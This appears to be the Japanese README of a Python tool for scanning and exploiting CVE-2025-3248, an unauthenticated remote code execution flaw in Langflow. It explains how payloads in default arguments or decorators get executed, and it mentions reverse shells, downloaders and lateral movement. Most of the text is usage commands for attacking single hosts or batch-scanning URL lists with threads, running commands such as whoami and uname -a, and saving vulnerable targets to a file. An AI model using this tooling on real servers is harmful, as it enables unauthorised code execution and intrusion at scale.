
Langflow は、ユーザーが送信した「検証コード」を AST 解析およびコンパイルする際に、認証とサンドボックス制限を行わずに Python の compile()/exec() を呼び出します(また、コンパイル段階では関数のデフォルト引数とデコレータが評価されます)。攻撃者は、悪意のあるペイロードをパラメータのデフォルト値やデコレータに配置することで、サーバーコンテキスト内で任意のステートメントを実行できます(リバースシェル、ダウンローダー、横移動など)。
Langflowアプリケーションでリモートコード実行(RCE)を可能にするCVE-2025-3248の脆弱性をスキャンおよび悪用するためのPythonツールです。
pip install requests
python cve-2025-3248.py http://target:port
python cve-2025-3248.py http://target:port -c "id"
python cve-2025-3248.py -f urls.txt
python cve-2025-3248.py -f urls.txt -c "whoami"
python cve-2025-3248.py -f urls.txt -t 20 --timeout 15 -v
url: ターゲットURL(例: http://10.10.10.1:7860)-f, --file: URLリストを含むファイル(1行に1つのURL)-c, --cmd: 実行するコマンド(例: id, whoami)--timeout: リクエストのタイムアウト時間、デフォルト10秒-t, --threads: バッチスキャンのスレッド数、デフォルト10-v, --verbose: 詳細モード、生のレスポンスを表示python cve-2025-3248.py http://192.168.1.100:7860
python cve-2025-3248.py http://192.168.1.100:7860 -c "ls -la"
ファイル targets.txt を作成:
http://192.168.1.100:7860
http://192.168.1.101:7860
http://192.168.1.102:7860
その後、実行:
python cve-2025-3248.py -f targets.txt
python cve-2025-3248.py -f targets.txt -c "uname -a" -t 5
[+] 実行成功[-] 失敗またはエラー[!] 警告メッセージ[*] 情報出力スキャンに成功したターゲットは vulnerable_targets.txt または vulnerable_targets_{command}.txt ファイルに保存されます。
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